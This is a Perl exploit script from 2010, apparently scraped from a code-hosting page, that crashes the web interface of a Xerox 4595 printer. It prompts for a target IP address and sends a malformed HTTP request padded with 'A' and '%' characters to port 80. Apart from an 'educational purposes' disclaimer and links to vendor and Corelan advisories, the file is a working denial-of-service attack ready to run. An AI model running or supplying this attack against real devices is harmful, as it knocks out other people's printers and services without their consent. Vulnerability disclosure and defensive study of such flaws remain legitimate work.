42 lines
No EOL
1.3 KiB
Python
Executable file
42 lines
No EOL
1.3 KiB
Python
Executable file
#!/usr/bin/perl
|
|
#
|
|
# Xerox 4595 Remote Dos
|
|
# November 1, 2010
|
|
# By chap0 - The tongue has the power of life and death
|
|
# [www.seek-truth.net][www.corelan.be:8800]
|
|
#
|
|
# Public Advisories
|
|
# http://www.xerox.com/downloads/usa/en/c/cert_XRX10-004_v1.0.pdf
|
|
# http://www.corelan.be:8800/advisories.php?id=CORELAN-10-065
|
|
#
|
|
# Greets to Corelan Team
|
|
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
|
|
#
|
|
# Script provided 'as is', without any warranty. Use for educational purposes only.
|
|
# Do not use this code to do anything illegal! Corelan does not want anyone to use this script
|
|
# for malicious and/or illegal purposes. Corelan cannot be held responsible for any illegal use.
|
|
#
|
|
# Note : you are not allowed to edit/modify this code.
|
|
# If you do, Corelan cannot be held responsible for any damages this may cause.
|
|
|
|
use IO::Socket;
|
|
|
|
my $head = "http://";
|
|
my $code = "\x41" x 25;
|
|
$code=$code."\x25" x 4;
|
|
$code=$code."\x41" x 347;
|
|
$code=$code.".htm";
|
|
|
|
print "\nEnter the IP of the Xerox 4595 to DoS: ";
|
|
chomp ($ip = <STDIN>);
|
|
|
|
my $dos = $head.$ip.$code;
|
|
|
|
$sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => 80, Proto => "tcp" ); die "Check your connection: $!\n" unless $sock;
|
|
|
|
print $sock "$dos\r\n";
|
|
|
|
|
|
close ($sock);
|
|
|
|
print "Connect to $ip in a browser to see if the Dos was successful\n"; |